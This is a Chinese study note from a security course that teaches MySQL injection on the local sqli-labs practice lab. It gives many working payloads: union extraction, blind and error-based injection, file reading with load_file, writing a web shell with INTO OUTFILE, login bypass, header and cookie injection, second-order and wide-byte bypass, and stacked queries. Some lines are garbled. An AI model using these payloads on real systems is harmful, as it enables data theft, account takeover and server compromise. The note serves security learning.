信安之路 第六周数据库注入语句

学习目标:能看懂大部分的sql语句,做到给一个复杂的sql语句能看懂,知道是干什么用的,为什么这么写.

第一部分:获取payload

通过sqlmap awvs等工具
更新sqlmap
信安之路 第六周数据库注入语句_第1张图片
内容太多,先放弃了 用着再查

通过谷歌
信安之路 第六周数据库注入语句_第2张图片
第二部分:基础

1、注入的分类:

基于从服务器接收到的响应

▲基于错误的 SQL 注入

在URL加入了一些错误的SQL语句,被执行后返回了异常信息,这些异常信息当中包含了敏感信息

▲联合查询的类型

▲堆查询注入

回显注入:利用注入漏洞可以改变页面返回数据

▲SQL 盲注

•基于布尔 SQL 盲注

通过条件是否成立来判断substr截取第一个字符判断是否大于’a’,成立则页面返回数据

•基于时间的 SQL 盲注

通过返回时间的长短判断
获取第一个字符的ascii码,判断是否大于115,不成立延时5秒返回

•基于报错的 SQL 盲注

基于如何处理输入的 SQL 查询(数据类型)

•基于字符串
•数字或整数为基础的

基于程度和顺序的注入(哪里发生了影响)**

★一阶注射

★二阶注射
一阶注射是指输入的注射语句对 WEB 直接产生了影响, 出现了结果; 二阶注入类似存
储型 XSS, 是指输入提交的语句, 无法直接对 WEB 应用程序产生影响, 通过其它的辅助间
接的对 WEB 产生危害, 这样的就被称为是二阶注入.

基于注入点的位置上的

▲通过用户输入的表单域的注射。
▲通过 cookie 注射。
▲通过服务器变量注射。 (基于头部信息的注射)
以上就是通常分类,先记录下,通过后面的实验练习加深理解

2、系统函数

介绍几个常用函数:

  1. version()——MySQL 版本
  2. user()——数据库用户名
  3. database()——数据库名
  4. @@datadir——数据库路径
  5. @@version_compile_os——操作系统版本

3、字符串连接函数

  1. concat(str1,str2,…)——没有分隔符地连接字符串
  2. concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串
  3. group_concat(str1,str2,…)——连接一个组的所有字符串, 并以逗号分隔每一条数据

以上三个函数能一次性查出所有信息 .

4、一般用于尝试的语句

Ps:–+可以用#替换, url 提交过程中 Url 编码后的#为%23
or 1=1–+
'or 1=1–+
“or 1=1–+
)or 1=1–+
‘)or 1=1–+
") or 1=1–+ "))or 1=1–+
一般的代码为:
i d = id= id=_GET[‘id’];
s q l = " S E L E C T ∗ F R O M u s e r s W H E R E i d = ′ sql="SELECT * FROM users WHERE id=' sql="SELECTFROMusersWHEREid=id’ LIMIT 0,1”;
此处考虑两个点, 一个是闭合前面你的 ‘ 另一个是处理后面的 ‘ , 一般采用两种思路, 闭合后面的引号或者注释掉, 注释掉采用–+ 或者 #(%23)

5、union 操作符的介绍

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。 请注意, UNION 内部的 SELECT语句必须拥有相同数量的列。 列也必须拥有相似的数据类型。 同时, 每条 SELECT 语句中的列的顺序必须相同。

SELECT column_name(s) FROM table_name1 UNION SELECT column_name(s) FROM table_name2

注释: 默认地, UNION 操作符选取不同的值。 如果允许重复的值, 请使用 UNION ALL。另外, UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。

6 、sql 中的逻辑运算

万能密码:
正常

Select * from admin where username=’ admin’ and password=’ admin’

密码:’ or 1=1#

Select * from admin where username=’ admin’ and password=’ ’ or 1=1#

where 子 句后有 三 个 条 件 语 句 ==username=’ admin’ and password=’ ’ or 1=1,在sql 中and 运算优先级大于or的运算优先级,结果恒为真。
信安之路 第六周数据库注入语句_第3张图片
7、 注入流程
信安之路 第六周数据库注入语句_第4张图片
数据库存储的数据形式如上图,注入的过程就是先拿到数据库名,再获取当前数据库名下的数据表,再获取当前数据表下的列,最后获取数据

Mysql 有一个系统数据库 information_schema, 存储着所有的数据库的相关信息, 一般的,我们利用该表可以进行一次完整的注入。 以下为一般的流程 :

猜数据库 :
信安之路 第六周数据库注入语句_第5张图片
猜某库的数据表 :
select table_name from information_schema.tables where table_schema='dvwa';
信安之路 第六周数据库注入语句_第6张图片

猜某表的所有列
select column_name from information_schema.columns where table_name='users';
信安之路 第六周数据库注入语句_第7张图片
select * from 表名;
信安之路 第六周数据库注入语句_第8张图片
第三部分:实验演示

联合查询的类型
信安之路 第六周数据库注入语句_第9张图片
payload:-1'union select 1,group_concat(schema_name),3 from information_schema.schemata --+

1、group_concat(str1,str2,...)--连接一个组的所有字符串, 并以逗号分隔每一条数据

2、union 联合注入, union 的作用是将两个 sql 语句进行联合, union 前后的两个 sql 语句的选择列数

要相同才可以。 U nion all 与 union 的区别是增加了去重的功能
3、当 id 的数据在数据库中不存在时, id=-1, 两个 sql 语句进行联合操作时,当前一个语句选择的内容
为空,就将后面的语句的内容显示出来,此处前台页面返回了我们构造的 union 的数据

4、此处利用 order by 对前面的数据进行排序, 这里有三列数据, 我们就只能用order by 3,超过 3 就会
报错。‘order by 4--+的结果显示结果超出。

盲注

盲注:sql 注入过程中, sql 语句执行的选择后, 选择的数据不能回显,不返回数据库当中的信息到前端页面。

盲注可以分为三类:

•基于布尔 SQL 盲注
•基于时间的 SQL 盲注
•基于报错的 SQL 盲注

1: 基于布尔 SQL 盲注-构造逻辑判断

截取字符串相关函数解析

▲lex(database(),1)>’ s’ //lex()函数
Explain:database()显示数据库名称, lex(a,b)从左侧截取 a 的前 b 位

▲ascii(substr((select table_name information_schema.tables where tables_schema =database()limit 0,1),1,1))=101 --+ //substr()函数, ascii()函数
Explain: substr(a,b,c)从 b 位置开始, 截取字符串 a 的 c 长度。 Ascii()将某个字符转换为 ascii 值

▲ascii(substr((select database()),1,1))=98

▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23 //ORD()函数, MID()函数
Explain: mid(a,b,c)从位置 b 开始, 截取 a 字符串的 c 位 Ord()函数同 ascii(), 将字符转为 ascii 值

▲regexp 正则注入 存疑
正则注入介绍
在这里插入图片描述
▲like 匹配注入
和上述的正则类似, mysql 在匹配的时候我们可以用 ike 进行匹配。
用法: select user() like ‘ro%
信安之路 第六周数据库注入语句_第10张图片
2: 基于报错的 SQL 盲注-构造 payload 让信息通过错误提示回显出来 存疑
▲extractvalue(1,concat(0x7e,(select @@version),0x7e)) se//mysql 对 xml 数据进行查询和修改的 xpath 函数, xpath 语法错误

▲updatexml(1,concat(0x7e,(select @@version),0x7e),1) //mysql 对 xml 数据进行查询和修改的 xpath 函数, xpath 语法错误

▲select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x; //mysql 重复特性, 此处重复了 version, 所以报错。

3:基于时间的 SQL 盲注–延时注入

▲ If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句, 条件为假,执行 sleep
IF表达式
IF(expr1,expr2,expr3)
如果 expr1 是TRUE (expr1 <> 0 and expr1 <> NULL),则 IF()的返回值为expr2; 否则返回值则为 expr3。IF()的返回值为数字值或字符串值,具体情况视其所在语境而定。

布尔盲注演示
http://127.0.0.1/sqllib/Less-5/?id=1 'and lex(version(),1)=5#

1) 利用 lex(database(),1)进行尝试 查看 version(), 数据库的版本号为 10.1.36, 这句话的意思是查看版本号第一位是不是1, 明显的返回的结果是正确的
信安之路 第六周数据库注入语句_第11张图片
当版本号不正确的时候, 则不能正确显示 you are in…
信安之路 第六周数据库注入语句_第12张图片http://127.0.0.1/sqllib/Less-5/ ?id=1 'and length(database())=8 --+ 判读数据库长度
信安之路 第六周数据库注入语句_第13张图片
信安之路 第六周数据库注入语句_第14张图片
信安之路 第六周数据库注入语句_第15张图片
猜测数据库第一位 继而猜测第二位 采用二分法
信安之路 第六周数据库注入语句_第16张图片
报错盲注演示

http://127.0.0.1/sqllib/Less-5/?id=1 ' union Select 1,count(),concat(0x3a,0x3a,(select user()),0 x3a,0x3a,floor(rand(0) 2))a from information_schema.columns group by a--+

利用 double 数值类型超出范围进行报错注入

http://127.0.0.1/sqllib/Less-5/?id=1 ' union select (exp(~(select * FROM(SELECT USER())a))),2, 3--+

利用 bigint 溢出进行报错注入

http://127.0.0.1/sqllib/Less-5/?id=1 ' union select (!(select * from (select user())x) - ~0),2,3- -+

xpath 函数报错注入

http://127.0.0.1/sqllib/Less-5/?id=1 ' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+http://127.0.0.1/sqllib/Less-5/?id=1 ' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+

利用数据的重复性

http://127.0.0.1/sqllib/Less-5/?id=1 'union select 1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(),1))x --+

演示盲注演示

http://127.0.0.1/sqllib/Less-5/ ?id=1'and if(ascii(substr(database(),1,1))=116,1,sleep(5))--+ 当错误的时候会有 5 秒的时间延时。

信安之路 第六周数据库注入语句_第17张图片
猜数据库:

http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))–+
说明第一位是 s (ascii 码是 115)

http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),2,1))=101,1,sleep(5))–+
说明第二位是 e (ascii 码是 101)以此类推 猜出数据的名字是security

猜测 security 的数据表:

http://127.0.0.1/sqllib/Less-9/?id=1 'and If(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101,1,sleep(5))–+

猜测第一个数据表的第一位是 e,…依次类推, 得到 emails

http://127.0.0.1/sqllib/Less-9/?id=1 'and If(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 1,1),1,1))=114,1,sleep(5))–+

猜测第二个数据表的第一位是 r,…依次类推, 得到 referers

以此类推, 我们可以得到所有的数据表 emails,referers,uagents,users

猜测users表的列

http://127.0.0.1/sqllib/Less-9/?id=1 'and If(ascii(substr((selectcolumn_name from information schema.columns where table_name=‘users’ limit 0,1),1,1))=105,1,sleep(5))–+

猜测 users 表的第一个列的第一个字符是 i,

以此类推, 我们得到列名是 id, username, password

猜测 username 的值:

http://127.0.0.1/sqllib/Less-9/?id=1 'and If(ascii(substr((select username from users limit 0,1), 1,1))=68,1,sleep(5))–+

猜测 username 的第一行的第一位

以此类推, 我们得到数据库 username, password 的所有内容

在这里插入图片描述
1、 load_file()导出文件

Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。
使用条件:
A、 必须有权限读取并且文件必须完全可读
and (select count( ) from mysql.user)>0/ 如果结果返回正常,说明具有读写权限。
and (select count( ) from mysql.user)>0/ 返回错误, 应该是管理员给数据库帐户降权

B、 欲读取文件必须在服务器上

C、 必须指定文件完整的路径
Mysql 注入—sqlilabs—lcamry 30

D、 欲读取文件必须小于max_allowed_packet
如果该文件不存在, 或因为上面的任一原因而不能被读出, 函数返回空。 比较难满足的
就是权限, 在 windows 下, 如果 NTFS 设置得当, 是不能读取相关的文件的, 当遇到只有
administrators 才能访问的文件, users 就别想 load_file 出来。
在实际的注入中, 我们有两个难点需要解决:
绝对物理路径
构造有效的畸形语句 (报错爆出绝对路径)
在很多 PHP 程序中, 当提交一个错误的 Query, 如果 display_errors = on, 程序就会暴露
WEB 目录的绝对路径, 只要知道路径, 那么对于一个可以注入的 PHP 程序来说, 整个服务
器的安全将受到严重的威胁。
常用路径:
http://www.cnblogs.com/lcamry/p/5729087.html
示例: Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92, 114,101,112,97,105,114,92,115,97,109)))
利用 hex()将文件内容导出来, 尤其是 smb 文件时可以使用。
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105)) Explain: “char(99,58,47,98,111,111,116,46,105,110,105)” 就是“c:/boot.ini” 的 ASCII 代码
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69) Explain: “c:/boot.ini” 的 16 进制是“0x633a2f626f6f742e696e69” -1 union select 1,1,1,load_file(c:\boot.ini) Explain:路径里的/用 \代替

2、 文件导入到数据库

LOAD DATA INFILE 语句用于高速地从一个文本文件中读取行, 并装入一个表中。 文件名称必须为一个文字字符串。

在注入过程中, 我们往往需要一些特殊的文件, 比如配置文件, 密码文件等。 当你具有数据库的权限时, 可以将系统文件利用 load data infile 导入到数据库中。

示例: load data infile ‘/tmp/t0.txt’ ignore into table t0 character set gbk fields terminated by ‘\t’ lines terminated by ‘\n’

将/tmp/t0.txt 导入到 t0 表中, character set gbk 是字符集设置为 gbk, fields terminated by 是每一项数据之间的分隔符, lines terminated by 是行的结尾符。

当错误代码是 2 的时候的时候, 文件不存在, 错误代码为 13 的时候是没有权限, 可以考虑/tmp 等文件夹。

3、 导入到文件

SELECT…INTO OUTFILE ‘file_name’

可以把被选择的行写入一个文件中。 该文件被创建到服务器主机上, 因此您必须拥有 FILE 权限, 才能使用此语法。 file_name 不能是一个已经存在的文件。

有两种形式:

第一种直接将 select 内容导入到文件中:

Select version() into outfile “c:\phpnow\htdocs\test.php”
此处将 version()替换成一句话, 也即
Select into outfile “c:\phpnow\htdocs\test.php”

然后直接连一句话

第二种修改文件结尾:
Select version() Into outfile “c:\phpnow\htdocs\test.php” LINES TERMINATED BY 0x16 进制文件 解
释: 通常是用‘\r\n’ 结尾, 此处我们修改为自己想要的任何文件。 同时可以用 FIELDS TERMINATED BY16 进制可以为一句话或者其他任何的代码, 可自行构造。 在 sqlmap 中 os-shell 采取的
就是
这样的方式, 具体可参考 os-shell 分析文章:
http://www.cnblogs.com/lcamry/p/5505110.html
信安之路 第六周数据库注入语句_第18张图片
信安之路 第六周数据库注入语句_第19张图片
信安之路 第六周数据库注入语句_第20张图片
写入一句话木马
http://127.0.0.1/sqllib/Less-7/ ?id=1’)) UNION SELECT 1,2,’’ into outfile “E:\WEB\XMAPP\htdocs\sqllib\Less-7\test.php” --+
信安之路 第六周数据库注入语句_第21张图片
在这里插入图片描述
输入正确用户名和密码
信安之路 第六周数据库注入语句_第22张图片
提交 username 和 password 后, 后台形成的 sql 语句为

$sql="SELECT username, password FROM users WHERE username='admin' and password='$passwd' LIMIT 0,1";

万能密码:

用户名:admin’or’1’='1# admin ’ # 密码:密码随便输入

$sql="SELECT username, password FROM users WHERE username='admin'or'1'='1# and password='$passwd' LIMIT 0,1";

猜测数据库第一位

uname=admin'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit

在这里插入图片描述

  1. 增加一行数据
    INSERT insert into users values(‘16’,‘lcamry’,‘lcamry’);
    信安之路 第六周数据库注入语句_第23张图片
  2. 删除一行数据
  3. 信安之路 第六周数据库注入语句_第24张图片3. 修改一行数据 updata 表名 set 列名=‘新的值, 非数字加单引号’ where id=6;

在这里插入图片描述
User-Agent 注入
信安之路 第六周数据库注入语句_第25张图片

payload: 'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1

Referer 注入
信安之路 第六周数据库注入语句_第26张图片

payload: 'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and '1'='1

cookie 注入 报错了
信安之路 第六周数据库注入语句_第27张图片

payload: 'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and '1'='1

在这里插入图片描述
什么是二次排序:二次排序注入也成为存储型的注入, 就是将可能导致sql 注入的字符先存入到数据库中, 当再次调用这个恶意构造的字符时, 就可以出触发sql 注入。

二次排序注入思路:

  1. 黑客通过构造数据的形式, 在浏览器或者其他软件中提交 HTTP 数据报文请求到服务
    端进行处理, 提交的数据报文请求中可能包含了黑客构造的 SQL 语句或者命令。
  2. 服务端应用程序会将黑客提交的数据信息进行存储, 通常是保存在数据库中, 保存的
    数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响
    应。
  3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
  4. 服务端接收到黑客提交的第二个请求信息后, 为了处理该请求, 服务端会查询数据库
    中已经存储的数据信息并处理, 从而导致黑客在第一次请求中构造的 SQL 语句或者命令在服
    务端环境中执行。
  5. 服务端返回执行的处理结果数据信息, 黑客可以通过返回的结果数据信息判断二次注
    入漏洞利用是否成功。

注册用户名为admin’# 密码为123的账号
信安之路 第六周数据库注入语句_第28张图片
登录用户名 admi’# 并修改密码
信安之路 第六周数据库注入语句_第29张图片
可以看到admin 密码被修改了

Sql 语句变为 UPDATE users SET passwd=“New_Pass” WHERE username =’ admin’ # ’ AND password=’ , 也 就 是 执 行 了 UPDATE users SET passwd=“New_Pass” WHERE username =’ admin’

利用注册的admin’# 修改密码时候从数据库提取该数据 造成了数据 命令拼接
在这里插入图片描述
mysql 在使用 GBK 编码的时候, 会认为两个字符为一个汉字, 例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围) 。 我们在过滤 ’ 的时候, 往往利用的思
路是将 ‘ 转换为 \’

1、 %df 吃掉 \ 具体的原因是 urlencode(‘) = %5c%27, 我们在%5c%27 前面添加%df, 形 成%df%5c%27, 而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字, 此 事%df%5c 就是一个汉字, %27 则作为一个单独的符号在外面, 同时也就达到了我们的目的。

2、 将 \’ 中的 \ 过滤掉, 例如可以构造 %**%5c%5c%27 的情况, 后面的%5c 会被前面的%5c给注释掉。 这也是 bypass 的一种方法。

get 型的方式我们是以 url 形式提交的, 因此数据会通过 URLencode

post 型的注入当中, 将 utf-8 转换为 utf-16 或 utf-32, 例如将 ‘ 转为 utf-16 为 � ’

在这里插入图片描述
1、在 SQL 中, 分号(;) 是用来表示一条 sql 语句的结束。
2、在 ; 结束一个 sql语句后继续构造下一条语句就造就了堆叠注入。
3、与union injection(联合注入)的 区别就在于 union或者 union all 执行的语句类型是有限的, 可以用来执行查询语句, 而堆叠
注入可以执行的是任意的语句
信安之路 第六周数据库注入语句_第30张图片
堆叠注入的局限性在于并不是每一个环境下都可以执行, 可能受到 API 或者数据库引擎不支持的限制,在我们的 web 系统中, 因为代码通常只返回一个查询结果, 因此, 堆叠注入第二个语句产生错误或者结果只能被忽略, 我们在前端界面是无法看到返回结果的。因此, 在读取数据时,建议使用union(联合) 注入。 同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的, 例如表
名, 列名等信息

PS:oracle 不能使用堆叠注入, 当有两条语句在同一行时, 直接报错。 无效字符。

堆叠注入payload:

http://127.0.0.1/sqli-labs/Less-38/index.php ?id=1%27;insert into users(id,username,password) values ('39','less39','hello')--+

在这里插入图片描述
原始注入遇到困难时,可尝试加载相应脚本,进行绕过用法: --tamper**“脚本名称”(可使用多个tamper) sqlmap版本1.2.7.20,共有57个tamper脚本

你可能感兴趣的:(SQL注入)